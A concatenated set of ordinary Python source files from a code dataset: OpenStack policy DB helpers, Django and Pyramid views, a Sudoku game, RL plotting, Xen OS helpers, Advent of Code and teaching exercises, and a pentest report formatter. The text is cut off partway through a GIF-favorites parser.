abbreviation=policy_dict['abbreviation'],\n description=policy_dict['description'],\n kind=policy_dict['kind'],\n rules=json.dumps(policy_dict['rules']))\n session.add(new_row)\n return new_row\n except oslo_db_exc.DBDuplicateEntry:\n raise KeyError(\n \"Policy with name %s already exists\" % policy_dict['name'])\n\n\n@db_utils.retry_on_db_error\ndef replace_policy(id_, policy_dict, session=None):\n session = session or db.get_session()\n try:\n with session.begin(subtransactions=True):\n new_row = LibraryPolicy(\n id=id_,\n name=policy_dict['name'],\n abbreviation=policy_dict['abbreviation'],\n description=policy_dict['description'],\n kind=policy_dict['kind'],\n rules=json.dumps(policy_dict['rules']))\n session.query(LibraryPolicy).filter(\n LibraryPolicy.id == id_).one().update(\n new_row.to_dict(include_rules=True, json_rules=True))\n return new_row\n except db_exc.NoResultFound:\n raise KeyError('No policy found with policy id %s' % id_)\n\n\n@db_utils.retry_on_db_error\ndef delete_policy(id_, session=None):\n session = session or db.get_session()\n return session.query(LibraryPolicy).filter(\n LibraryPolicy.id == id_).delete()\n\n\n@db_utils.retry_on_db_error\ndef delete_policies(session=None):\n session = session or db.get_session()\n return session.query(LibraryPolicy).delete()\n\n\n@db_utils.retry_on_db_error\ndef get_policy(id_, session=None):\n session = session or db.get_session()\n try:\n return session.query(LibraryPolicy).filter(\n LibraryPolicy.id == id_).one()\n except db_exc.NoResultFound:\n raise KeyError('No policy found with policy id %s' % id_)\n\n\n@db_utils.retry_on_db_error\ndef get_policy_by_name(name, session=None):\n session = session or db.get_session()\n try:\n return session.query(LibraryPolicy).filter(\n LibraryPolicy.name == name).one()\n except db_exc.NoResultFound:\n raise KeyError('No policy found with policy name %s' % name)\n\n\n@db_utils.retry_on_db_error\ndef get_policies(session=None):\n session = session or db.get_session()\n return (session.query(LibraryPolicy).all())\n","repo_name":"openstack-archive/congress","sub_path":"congress/db/db_library_policies.py","file_name":"db_library_policies.py","file_ext":"py","file_size_in_byte":4160,"program_lang":"python","lang":"en","doc_type":"code","stars":74,"dataset":"github-code","pt":"69"} +{"seq_id":"25423845516","text":"from app.models import session_storage\nimport uuid\n\ndb = session_storage.DBSession\n\ndef logging_session(view_callable):\n\n \"\"\"\n Este decorator ira criar e guardar a sessao do usuario\n e a consulta realizada\n\n :param view_callable: view que sera chamada atraves do view_config\n :return: --\n \"\"\"\n\n def wrapper(context, request):\n\n \"\"\"\n Recebe o contexto da aplicaçao e o request.\n Verifica se o usuario ja possui uma sessao, caso nao possuir, ele cria uma nova\n Utilizando um uuid4 como indentificador da sessao, é salvo no banco a hora e a\n consulta realizada.\n\n :param context: --\n :param request: --\n :return: --\n \"\"\"\n\n session = request.session\n\n if \"usersession\" not in session:\n session[\"usersession\"] = uuid.uuid4()\n\n model = session_storage.SessionStorage(str(session[\"usersession\"]), view_callable.__name__)\n db.add(model)\n\n return view_callable(context, request)\n\n return wrapper\n","repo_name":"wisner23/pyquote-challenge","sub_path":"app/services/session_logging_service.py","file_name":"session_logging_service.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"41295224747","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pdb\nimport time\n\nfrom utils import *\nfrom environments import *\n\n# v_star = np.dot(env.calc_v_star(), env.mu)\n# pi_star = env.calc_pi_star()\n# v2 = env.calc_vpi(pi_star, FLAG_V_S0=True)\n\n# fig, ax = plt.subplots(1, 1)\n# plot_grid(ax, xlim=7, ylim=7)\n# plot_policy(ax, pi_star, xlim=7, ylim=7)\n# plt.axis('equal')\n# plt.show()\n\n#======================================================================\n# Testing code (plotting dynamics)\n#======================================================================\nenv_DST = TabularMDP(\n P=P_DeepSeaTreasure, r=r_DeepSeaTreasure, mu=mu_DeepSeaTreasure,\n terminal_states=terminal_states_DeepSeaTreasure,\n gamma=0.9, episode_cutoff_length=1000, reward_noise=0)\n\nenv_CW = TabularMDP(\n P=P_CliffWorld, r=r_CliffWorld, mu=mu_CliffWorld,\n terminal_states=terminal_states_CliffWorld,\n gamma=0.9, episode_cutoff_length=1000, reward_noise=0)\n\ncolor_list = ['tab:orange', 'tab:blue', 'tab:red', 'tab:green']\nx_diff = [0.3, 0.7, 0.5, 0.5]\ny_diff = [0.5, 0.5, 0.3, 0.7]\n\nfig, axs = plt.subplots(2, 2, figsize=(10, 10))\n\nxlim = 4\nylim = 5\n# make grid\nfor x in range(xlim + 2):\n axs[0, 0].plot((x, x), (0, ylim), linewidth=0.5, color='black')\nfor y in range(ylim + 1):\n axs[0, 0].plot((0, xlim + 1), (y, y), linewidth=0.5, color='black')\n# show the transition dynamics\nfor state_idx in range(xlim * ylim + 1):\n x_old, y_old = state_idx // ylim, state_idx % ylim\n for action_idx in range(4):\n next_state_idx = env_CW.P[state_idx, action_idx].nonzero()[0].item()\n x_new, y_new = next_state_idx // ylim, next_state_idx % ylim\n axs[0, 0].quiver(x_old + x_diff[action_idx], y_old + y_diff[action_idx],\n x_new - x_old, y_new - y_old,\n color=color_list[action_idx], width=0.007, headwidth=2,\n headlength=4, scale=1, scale_units='xy', linewidth=0.1)\n# show the state indices\nfor state_idx in range(21):\n x = state_idx // ylim\n y = state_idx % ylim\n axs[0, 0].text(x + 0.3, y + 0.3, str(state_idx),\n fontsize='large', fontweight='bold')\n\n\nxlim = 5\nylim = 5\n# make grid\nfor x in range(xlim + 1):\n axs[0, 1].plot((x, x), (0, ylim), linewidth=0.5, color='black')\nfor y in range(ylim + 1):\n axs[0, 1].plot((0, xlim), (y, y), linewidth=0.5, color='black')\n# show the transition dynamics\nfor state_idx in range(xlim * ylim):\n x_old, y_old = state_idx // ylim, state_idx % ylim\n for action_idx in range(2):\n next_state_idx = env_DST.P[state_idx, action_idx].nonzero()[0].item()\n x_new, y_new = next_state_idx // ylim, next_state_idx % ylim\n axs[0, 1].quiver(x_old + x_diff[action_idx], y_old + y_diff[action_idx],\n x_new - x_old, y_new - y_old,\n color=color_list[action_idx], width=0.007, headwidth=2,\n headlength=4, scale=1, scale_units='xy', linewidth=0.1)\n# show the state indices\nfor state_idx in range(25):\n x = state_idx // ylim\n y = state_idx % ylim\n axs[0, 1].text(x + 0.3, y + 0.3, str(state_idx),\n fontsize='large', fontweight='bold')\n\nplt.show()\nexit()\n\n#======================================================================\n# Testing code (testing similarity of learning curves from the paper)\n#======================================================================\npg_method = 'MDPO'\nnum_iters = 2000\neta = 0.03\n\nFLAG_ANALYTICAL_GRADIENT = True\nnum_inner_updates = None # 100\nalpha = None # 0.1\n\nFLAG_TRUE_ADVANTAGE = True\nnum_traj_estimate_adv = None # 100\nadv_estimate_alg = None # 'sarsa'\nadv_estimate_stepsize = None # 0.5\n\nFLAG_SAVE_INNER_STEPS = False\n\n#----------------------------------------------------------------------\n# learning curves against the number of outer loop iterations\n#----------------------------------------------------------------------\ntic = time.time()\nfor env_try, col, env_name in \\\n zip([env_simone, env], range(2), ['simone', 'smaller']):\n for pg_method in ['MDPO', 'sPPO']:\n for eta in [0.03, 1]:\n vpi_list_outer, vpi_list_inner = run_experiment(\n env=env_try, pg_method=pg_method, num_iters=num_iters, eta=eta,\n FLAG_ANALYTICAL_GRADIENT=FLAG_ANALYTICAL_GRADIENT,\n num_inner_updates=num_inner_updates, alpha=alpha,\n FLAG_TRUE_ADVANTAGE=FLAG_TRUE_ADVANTAGE,\n adv_estimate_alg=adv_estimate_alg,\n num_traj_estimate_adv=num_traj_estimate_adv,\n adv_estimate_stepsize=adv_estimate_stepsize,\n FLAG_SAVE_INNER_STEPS=FLAG_SAVE_INNER_STEPS)\n \n axs[1, col].plot(vpi_list_outer, label='{}_{}_{}'.format(\n pg_method, eta, env_name))\n v_star = np.dot(env_try.calc_v_star(), env_try.mu)\n axs[1, col].set_ylim([0, v_star + 0.05])\n axs[1, col].legend()\n print('Total time taken: {}'.format(time.time() - tic))\n\nplt.savefig('test_env.pdf')\nplt.close()\n","repo_name":"svmgrg/fma-pg","sub_path":"current_code/test_env.py","file_name":"test_env.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"25057558921","text":"import click\nimport json\nfrom ..features import reshape_feature\n\n# Simy cli stuff for multiple commands interface.\n@click.group()\ndef cli():\n \"\"\"the similarity command line interface.\n simy provides reshaping/flattening capabilities for JSON/XML files and\n ultimately a similarity check between a record and a store of records\n based on some criteria.\n \"\"\"\n pass\n\n@cli.command()\n@click.option('--src', default=None, help=\"The json file to be reshaped.\")\n@click.option('--dst', default=None, help=\"Provide a custom destination for the reshaped json.\")\n@click.option('--gen/--no-gen', default=None, help=\"Request the creation of the reshaped json.\")\n@click.option('--prt/--no-prt', default=None, help=\"Request the creation of the reshaped json.\")\ndef reshape(src, dst, gen, prt):\n \"\"\"flattens any nested dictionary using jq.\n \"\"\"\n source = None\n dump = False\n destination = \".\"\n\n if src:\n with open(src, \"r\") as source_f:\n source = json.loads(source_f.read())\n\n if dst:\n destination = dst\n\n flattened = reshape_feature.reshape(source, destination)\n\n if gen:\n name = src.split(\"/\")[-1]\n blocks = name.split(\".\")\n reshaped = \"{0}/{1}-reshaped.{2}\".format(destination, blocks[0], blocks[1])\n with open(reshaped, \"w\") as reshaped_f:\n reshaped_f.write(json.dumps(flattened, sort_keys=True, indent=4, separators=(',', ': ')))\n\n if prt:\n print(json.dumps(flattened, sort_keys=True, indent=4, separators=(',', ': ')))\n\nhandle = click.CommandCollection(sources=[cli])\n\nif __name__ == '__simy.main__':\n handle()\n","repo_name":"faical-yannick-congo/similarity","sub_path":"simy/main/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"33625128270","text":"import math\nfrom dataclasses import dataclass\nfrom typing import Optional, Union\n\nfrom helpers import get_data\n\n\n@dataclass\nclass File:\n name: str\n size: int\n\n\n@dataclass\nclass Directory:\n name: str\n children: list[Union[File, \"Directory\"]]\n parent: Optional[\"Directory\"]\n\n def add_directory(self, name: str):\n self.children.append(Directory(parent=self, name=name, children=[]))\n\n def get_child_directory(self, name: str):\n for child in self.children:\n if child.name == name:\n return child\n raise Exception(f\"Directory not found: {name} in {self.name}\")\n\n def add_file(self, name: str, size: int):\n self.children.append(File(name=name, size=size))\n\n def print(self, indent=0):\n print(\" \" * indent, self.name, f\" ({self.size})\")\n for child in self.children:\n if isinstance(child, File):\n print(\" \" * (indent + 2), child.name, child.size)\n else:\n child.print(indent + 2)\n\n @property\n def size(self):\n total = 0\n for child in self.children:\n total += child.size\n return total\n\n @property\n def directories(self):\n return [d for d in self.children if isinstance(d, Directory)]\n\n @property\n def part_1(self):\n total = self.size if self.size < 100000 else 0\n for child in self.directories:\n total += child.part_1\n return total\n\n def part_2(self, target_size, best):\n if self.size > target_size:\n new_best = min(best, self.size)\n else:\n new_best = best\n for child in self.directories:\n new_best = min(child.part_2(target_size, new_best), new_best)\n return new_best\n\n\ndef day_7():\n # data = get_data(7, \"example\")\n data = get_data(7)\n fs = Directory(name=\"<root>\", children=[], parent=None)\n fs.add_directory(\"/\")\n pointer = fs\n\n for line in data:\n line = line.strip()\n if line.startswith(\"$\"):\n if \"cd\" in line:\n directory = line.split(\" \")[-1]\n if directory == \"..\":\n pointer = pointer.parent\n else:\n pointer = pointer.get_child_directory(directory)\n elif \"ls\" in line:\n pass\n else:\n raise \"unknown command\"\n else:\n if line.startswith(\"dir\"):\n pointer.add_directory(line.split(\" \")[-1])\n else:\n size, name = line.split(\" \")\n pointer.add_file(name, int(size))\n\n print(\"Part 1: \", fs.part_1)\n\n SIZE = 70000000\n TARGET = 30000000\n print(\"Part 2: \", fs.part_2(TARGET - (SIZE - fs.size), math.inf))\n\n\nif __name__ == \"__main__\":\n day_7()\n","repo_name":"k-nut/advent-of-code-2022","sub_path":"day-7.py","file_name":"day-7.py","file_ext":"py","file_size_in_byte":2793,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"22906306742","text":"import pdfkit\nimport datetime\n\nclass Report:\n def __init__(self, ip):\n self.file = open(\"./report/report.html\", \"w\")\n self.opening_string = \"<html>\\n<head>\\n<Link rel='stylesheet' href='report.css' />\\n</head>\\n<body>\\n\" + \\\n f\"<h1 id=\\\"title\\\">Pentest Report for {ip}</h1>\\n\" + \\\n \"<h2>Disclaimer</h2>\\n\" + \\\n f\"<p>The following is a computer generated report of a penetration test performed on the following host: {ip}. \" + \\\n f\"We expect the the client who requested the pentest owns the machine to be pentested. In case of any violation, we (the company performing the pentest) are not liable. \" + \\\n f\"In case no vulnerabilities are found, it does not mean that no vulnerabilities are present. There is no such concept as 100% secure machine. \" + \\\n f\"New vulnerabilities are being found everyday.</p>\\n<br />\\n\"\n\n self.closing_string = f\"<p><b>Date timestamp:</b> {datetime.datetime.now()}</p>\\n</body>\\n</html>\"\n self.file.write(self.opening_string)\n\n\n def save(self):\n self.file.write(self.closing_string)\n self.file.close()\n pdfkit.from_file(\"./report/report.html\", \"./report/report.pdf\", options={\"enable-local-file-access\": True})\n \n def write_tool_output(self, tool_name, tool_output, tool_feature_output=\"\"):\n self.file.write(f\"<h2>{tool_name}</h2>\\n\")\n replaced_tool_output = tool_output.replace(\"\\n\", \"<br />\\n\")\n self.file.write(f\"<p class=\\\"tool-output\\\">{replaced_tool_output}</p>\\n\")\n self.file.write(f\"<br />\")\n self.file.write(f\"<h4>Features extracted using GenAI</h4>\")\n self.file.write(f\"<p>{tool_feature_output}</p>\")\n self.file.write(f\"<br />\")\n","repo_name":"Anish-Udupa/capstone-pentesting-tools","sub_path":"report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"2853274083","text":"def main():\r\n\r\n # Set up a list with no values:\r\n iStudentGradeList = [89,75,65,15,100]\r\n\r\n # Sort the list from A-Z\r\n iStudentGradeList.sort()\r\n # Revese the contents of the list in reverse to\r\n # a decending list Z-A\r\n iStudentGradeList.reverse()\r\n\r\n # Either way works to find the lowest:\r\n\r\n # This code will pass the entire list to the\r\n # Python max function to get the highest value:\r\n iMax = max(iStudentGradeList)\r\n\r\n # This code will take the first entry which should\r\n # be the highest due to the reverse sort:\r\n iMax = iStudentGradeList[0]\r\n\r\n\r\n # Either way works to find the lowest:\r\n\r\n # This code will pass the entire list to the\r\n # Python min function to get the lowest value:\r\n iMin = min(iStudentGradeList)\r\n\r\n # This code will take the lsdy entry which should\r\n # be the lowest due to the reverse sort. Don't forget\r\n # the lists are 0 based so you must subtract 1 from the\r\n # len function to get the last element:\r\n iMin = iStudentGradeList[ len(iStudentGradeList) - 1 ]\r\n\r\n # Another approach to find the last entry is to you\r\n # -1 to get the last entry in the list: \r\n iMin = iStudentGradeList[ -1 ]\r\n\r\n # Print the entire list to the screen in 1 line:\r\n print(iStudentGradeList)\r\n \r\n # This code will pass the entire list to the\r\n # Python sum function to get the sum of all values:\r\n iSum = sum(iStudentGradeList)\r\n\r\n # Computer the avereage:\r\n fAvg = iSum / len(iStudentGradeList)\r\n\r\n print(\"Max:\", iMax)\r\n print(\"Min:\", iMin)\r\n print(\"Sum:\", iSum)\r\n print(\"Avg:\", fAvg)\r\n \r\n# Call the main() function:\r\nmain()\r\n\r\n\r\n\r\n","repo_name":"Jamtown40/4","sub_path":"list3.py","file_name":"list3.py","file_ext":"py","file_size_in_byte":1703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"18551495383","text":"from django.shortcuts import render\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom django.http import Http404\nfrom .models import DashboardModel\nfrom .serializers import DashboardSerializer\n# Create your views here.\nclass generalDashboard(APIView):\n def get(self,request):\n lista_Usuario = DashboardModel.objects.all()\n serializer = DashboardSerializer(lista_Usuario,many=True)\n return Response(serializer.data)\n \n def post(self,request):\n serializer = DashboardSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=201)\n return Response(serializer.errors, status=400)\n\nclass EspecificoDashboard(APIView):\n def get_object(self,pk):\n try:\n return DashboardModel.objects.get(pk=pk)\n except DashboardModel.DoesNotExist:\n raise Http404\n \n def get(self,request,pk):\n usuario = self.get_object(pk)\n serializer = DashboardSerializer(usuario)\n return Response(serializer.data)\n \n def put(self,request,pk):\n usuario = self.get_object(pk)\n serializer = DashboardSerializer(usuario,data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors,status=400)\n \n def delete(self,request,pk):\n usuario= self.get_object(pk)\n usuario.delete()\n return Response(status=204)\n","repo_name":"AdaGamboaChanona/BackWeb","sub_path":"Dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4582771925","text":"import os\n\n_scripts_dir = {\n \"Linux\": \"/etc/xen/scripts\",\n \"SunOS\": \"/usr/lib/xen/scripts\",\n}\n\n_xend_autorestart = {\n \"NetBSD\": True,\n \"Linux\": True,\n \"SunOS\": False,\n}\n\n_pygrub_path = {\n \"SunOS\": \"/usr/lib/xen/bin/pygrub\"\n}\n\n_vif_script = {\n \"SunOS\": \"vif-vnic\"\n}\n\ndef _linux_balloon_stat(label):\n \"\"\"Returns the value for the named label, or None if an error occurs.\"\"\"\n\n PROC_XEN_BALLOON = '/proc/xen/balloon'\n f = file(PROC_XEN_BALLOON, 'r')\n try:\n for line in f:\n keyvalue = line.split(':')\n if keyvalue[0] == label:\n values = keyvalue[1].split()\n if values[0].isdigit():\n return int(values[0])\n else:\n return None\n return None\n finally:\n f.close()\n\ndef _solaris_balloon_stat(label):\n \"\"\"Returns the value for the named label, or None if an error occurs.\"\"\"\n\n import fcntl\n import array\n DEV_XEN_BALLOON = '/dev/xen/balloon'\n BLN_IOCTL_CURRENT = 0x42410001\n BLN_IOCTL_TARGET = 0x42410002\n BLN_IOCTL_LOW = 0x42410003\n BLN_IOCTL_HIGH = 0x42410004\n BLN_IOCTL_LIMIT = 0x42410005\n label_to_ioctl = { 'Current allocation' : BLN_IOCTL_CURRENT,\n 'Requested target' : BLN_IOCTL_TARGET,\n 'Low-mem balloon' : BLN_IOCTL_LOW,\n 'High-mem balloon' : BLN_IOCTL_HIGH,\n 'Xen hard limit' : BLN_IOCTL_LIMIT }\n\n f = file(DEV_XEN_BALLOON, 'r')\n try:\n values = array.array('L', [0])\n if fcntl.ioctl(f.fileno(), label_to_ioctl[label], values, 1) == 0:\n return values[0]\n else:\n return None\n finally:\n f.close()\n\n_balloon_stat = {\n \"SunOS\": _solaris_balloon_stat\n}\n\ndef _get(var, default=None):\n return var.get(os.uname()[0], default)\n\nscripts_dir = _get(_scripts_dir, \"/etc/xen/scripts\")\nxend_autorestart = _get(_xend_autorestart)\npygrub_path = _get(_pygrub_path, \"/usr/bin/pygrub\")\nvif_script = _get(_vif_script, \"vif-bridge\")\nlookup_balloon_stat = _get(_balloon_stat, _linux_balloon_stat)\n","repo_name":"mikesun/xen-cow-checkpointing","sub_path":"tools/python/xen/xend/osdep.py","file_name":"osdep.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"32006517613","text":"# 21.01.22 python 1986 지그재그 숫자 문제풀이\n\nTC = int(input())\n\nfor test_case in range(1, TC + 1):\n\n N = int(input())\n sum = 0\n\n # N이 짝수라면\n if N % 2 == 0:\n for i in range(1, N + 1, 2):\n sum -= 1\n else:\n for i in range(1, N, 2):\n sum -= 1\n sum += N\n \n print('#{} {}'.format(test_case, sum))","repo_name":"geunwooahn-dev/PythonAlgorithms","sub_path":"Python_SWEA/D2/SWEA_1986.py","file_name":"SWEA_1986.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"926690648","text":"from django.shortcuts import render, redirect\nfrom django.http import HttpResponseRedirect\nfrom django.http import HttpResponseBadRequest\nfrom django.http import JsonResponse\nfrom .models import Main_table, Operation, Category\nfrom django.core.paginator import Paginator, EmptyPage\nfrom django.db.models import Case, IntegerField, Sum, Value, When\nfrom django.db.models.functions import Coalesce\nfrom django.core.paginator import Paginator\nfrom django.db.models import F\nfrom django.db.models import Q\nfrom .forms import *\nimport datetime\n\ndef getCountFromBase(inputProduct, inputDivision):\n result = (\n Main_table.objects\n .filter(product=inputProduct, division=inputDivision)\n .aggregate(\n total_quantity=Coalesce(\n Sum(\n Case(\n When(operation__id_operation='1', then=-1), # определение приход товара или расход\n default=1,\n output_field=IntegerField()\n ) * F('count')\n ),\n 0\n )\n )\n )\n total_quantity = result['total_quantity']\n\n return total_quantity\n\ndef search(request, result, useDate = True):\n combinedFilterForm = CombinedFilterForm(request.GET)\n if combinedFilterForm.is_valid():\n categories = combinedFilterForm.cleaned_data['categories']\n divisions = combinedFilterForm.cleaned_data['divisions']\n search_query = combinedFilterForm.cleaned_data['search']\n dateRange = combinedFilterForm.cleaned_data['dateRange']\n\n if dateRange and useDate:\n date_time_objs = dateRange.split(' - ')\n date_time_objs = map(lambda x: datetime.datetime.strptime(x,'%d/%m/%Y'), date_time_objs)\n date_time_objs = map(lambda x : x.strftime('%Y-%m-%d') ,date_time_objs)\n result = result.filter(date__range = date_time_objs)\n\n if categories:\n result = result.filter(category__id_category__in=categories) # фильтр по категориям\n if divisions:\n result = result.filter(division__id_division__in=divisions) # фильтр по категориям\n\n if search_query:\n result = result.filter(\n Q(category__name__icontains=search_query) |\n Q(product__name_lower__icontains=search_query) |\n Q(product__name__icontains=search_query)\n ) # поиск по категории и названию\n return result, combinedFilterForm\n\ndef index(request): # отображение главной страницы\n result = (\n Main_table.objects\n .values('product__name', 'category__name', 'category','product','division__id_division','division__name')\n .annotate(\n sum_price=Coalesce(\n Sum( # подсчет суммы количества товаров\n Case(\n When(operation__id_operation='1', then=-1), # определение приход товара или расход\n default=1,\n output_field=IntegerField()\n ) * F('count')\n ),\n 0\n )\n )\n .order_by('division__name','category__name') # группировка по категории\n ) # большой запрос для отображения информации о товарах на ��транице\n\n result, combinedFilterForm = search(request, result, False)\n combinedFilterForm.fields['dateRange'].disabled = True\n\n addForm = Main_tableForm()\n error=''\n if request.method == \"POST\":\n main_tableForm = Main_tableForm(request.POST)\n if main_tableForm.is_valid():\n count = getCountFromBase(main_tableForm.cleaned_data['product'], main_tableForm.cleaned_data['division'])\n if main_tableForm.cleaned_data['operation'].id_operation == 1 and main_tableForm.cleaned_data['count'] > count:\n return JsonResponse({\"error\": \"Invalid data provided.\", \"count\": count}, status=400)\n else:\n main_tableForm.save()\n request.META.get('HTTP_REFERER')\n return redirect('/')\n else:\n error = 'Форма заполнена неверно'\n context = {\n 'rows': result,\n 'combinedFilterForm' : combinedFilterForm,\n 'addForm': addForm,\n 'error': error,\n }\n return render(request, 'accounting_of_goods/homePage.html', context)\n\ndef contact(request): # страница информации\n phones = '8(914) 487-31-10','X(XXX) XXX-XX-XX'\n return render(request,'accounting_of_goods/contact.html',{'values' : phones})\ndef adm(request): # заглушка для отображения страницы admin\n pass\ndef consumption(request):\n return receiptOrConsumption(request, type = 1) # отображение страницы расхода товара\ndef receipt(request):\n return receiptOrConsumption(request, type = 0) # отображение страницы поступления товара\n # type = 0\ndef receiptOrConsumption(request, type):\n result = Main_table.objects.filter(operation=type).order_by('-date') # фильтр по типу операции\n\n result, combinedFilterForm = search(request,result) # все остальные фильтры\n\n entries_per_page = 5 # количество записей на странице\n # pageSize = PageSize(request.GET) # форма количества записей на странице\n # if pageSize.is_valid():\n # page = pageSize.cleaned_data['count']\n # if page:\n # entries_per_page = page\n\n page_number = request.GET.get('page', 1)\n paginator = Paginator(result, entries_per_page)\n try:\n result = paginator.page(page_number)\n except EmptyPage:\n result = paginator.page(paginator.num_pages)\n\n addForm = Main_tableForm( initial = {\n 'operation' : type,\n })\n error = ''\n if request.method == \"POST\":\n main_tableForm = Main_tableForm(request.POST)\n # print(main_tableForm.errors.as_data())\n if main_tableForm.is_valid():\n count = getCountFromBase(main_tableForm.cleaned_data['product'], main_tableForm.cleaned_data['division'])\n if main_tableForm.cleaned_data['operation'].id_operation == 1 and main_tableForm.cleaned_data['count'] > count:\n return JsonResponse({\"error\": \"Invalid data provided.\",\"count\" : count}, status=400)\n else:\n main_tableForm.save()\n request.META.get('HTTP_REFERER')\n #return redirect('/')\n else:\n error = 'Форма заполнена неверно'\n context = {\n 'rows': result,\n 'type': type,\n 'combinedFilterForm': combinedFilterForm,\n 'addForm' : addForm,\n # 'pageSize' : pageSize,\n 'error' : error,\n }\n return render(request, 'accounting_of_goods/receiptAndConsumptionPage.html', context)","repo_name":"Dartalexg/ScladPD","sub_path":"accounting_of_goods/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"31225360317","text":"import pygame as pg\nfrom game.constants import WIDTH, HEIGHT, WHITE, GREY\nfrom game.board import Board\n\ndef mark_spot(board, x, y):\n\tif not board.board[y][x]: \n\t\tif not board.selected:\n\t\t\tboard.select_spot(y, x)\n\t\telif x == board.selected['x'] and y == board.selected['y']:\n\t\t\tboard.unselect()\n\t\telse:\n\t\t\tboard.select_spot(y, x)\n\ndef main():\n\tWIN = pg.display.set_mode((WIDTH, HEIGHT))\n\tpg.display.set_caption('Sudoku')\n\tFPS = 60\n\tclock = pg.time.Clock()\n\trun = True\n\tgame = Board()\n\n\twhile run:\n\t\tclock.tick(FPS)\n\t\tfor event in pg.event.get():\n\t\t\tif event.type == pg.QUIT:\n\t\t\t\trun = False\n\t\t\tif event.type == pg.KEYDOWN:\n\t\t\t\tif game.selected and pg.key.name(event.key) in '123456789':\n\t\t\t\t\tgame.user_input[game.selected['y']][game.selected['x']] = str(event.key - 48)\n\t\t\t\t\tgame.unselect()\n\t\t\t\t\t\n\t\t\tif event.type == pg.MOUSEBUTTONDOWN:\n\t\t\t\tx_pos, y_pos = pg.mouse.get_pos()\n\t\t\t\tif 10 < x_pos < 685 and 10 < y_pos < 685:\n\t\t\t\t\tx_pos = (x_pos - 10) // 75\n\t\t\t\t\ty_pos = (y_pos - 10) // 75\n\t\t\t\t\tmark_spot(game, x_pos, y_pos)\n\t\t\t\telse:\n\t\t\t\t\tfor button in game.buttons:\n\t\t\t\t\t\tif button.x < x_pos < button.x + button.width and button.y < y_pos < button.y + button.height:\n\t\t\t\t\t\t\tbutton.function()\n\n\n\t\tgame.draw_all()\n\t\tpg.display.update()\n\tpg.quit()\n\nif __name__ == '__main__':\n\tmain()\n","repo_name":"LenyPython/mini-games","sub_path":"sudoku/sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"12432783666","text":"from random import randrange\n\ndef input_group(n, m):\n\tgroups = []\n\n\tfor x in range(m):\n\t\tgroups.append([])\n\n\tfor group in groups:\n\t\tfor x in range(n):\n\t\t\tgroup.append(randrange(100, 1000))\n\n\treturn groups\n\ndef output(groups_func):\n\tcounter = 1\n\tfor group in groups_func:\n\t\tprint(\"Group {} contains:\".format(counter))\n\t\tcounter += 1\n\t\tfor x in group:\n\t\t\tprint(x, end = \" \")\n\t\telse:\n\t\t\tprint()\n\n\ndef primarity_test(number):\n\tfor x in range(2, number):\n\t\tif number % x == 0:\n\t\t\treturn False\n\telse:\n\t\treturn True\n\nn = int(input(\"n = \"))\nm = int(input(\"m = \"))\n\nmy_groups = input_group(n, m)\noutput(my_groups)\n\nbiggest_group_counter = 0\n\nfor group in my_groups:\n\tcounter = 0\n\tfor number in group:\n\t\tif primarity_test(number):\n\t\t\tcounter += 1\n\telse:\n\t\tif biggest_group_counter < counter:\n\t\t\tbiggest_group = group\n\t\t\tbiggest_group_counter = counter\n\n\nprint(\"\"\"There are the most primal numbers in this group:{}\nThere are {} primal numbers in it\"\"\".format(biggest_group, biggest_group_counter))","repo_name":"mrRedSun/LNU_practice","sub_path":"4. The Primest group (python)/my_individ_4.py","file_name":"my_individ_4.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"42956878031","text":"import argparse\r\nimport json\r\nimport os\r\nimport sys\r\nimport requests # type: ignore\r\nimport sqlite3\r\nimport base64\r\n\r\nfrom lxml import etree # type: ignore\r\nfrom lxml.etree import _ElementTree, ElementBase # type: ignore\r\nfrom io import StringIO\r\nfrom urllib.parse import urlparse\r\nfrom typing import List, Optional, Tuple\r\n\r\nimport proto_pb2 as proto\r\n\r\nHTML_PARSER = etree.HTMLParser()\r\n\r\nclass FavoritedGIF:\r\n\r\n def __init__(self, data: dict) -> None:\r\n self.w = data[\"width\"]\r\n self.h = data[\"height\"]\r\n self.src: str = data[\"src\"]\r\n self.url: str = data[\"url\"]\r\n self.format = data[\"format\"]\r\n self.path: str = data.get(\"path\", None)\r\n\r\n @property\r\n def url_host(self):\r\n return urlparse(self.url).hostname\r\n\r\n @property\r\n def sanitized_url(self):\r\n url_comps = urlparse(self.url)\r\n # If URL ends with an extension, it's safe to assume that parameters would not be useful\r\n if url_comps.path.endswith(\".gif\"):\r\n return f\"{url_comps.scheme}://{url_comps.netloc}{url_comps.path}\"\r\n return self.url\r\n\r\n def serialize(self) -> dict:\r\n return {\r\n \"width\": self.w,\r\n \"height\": 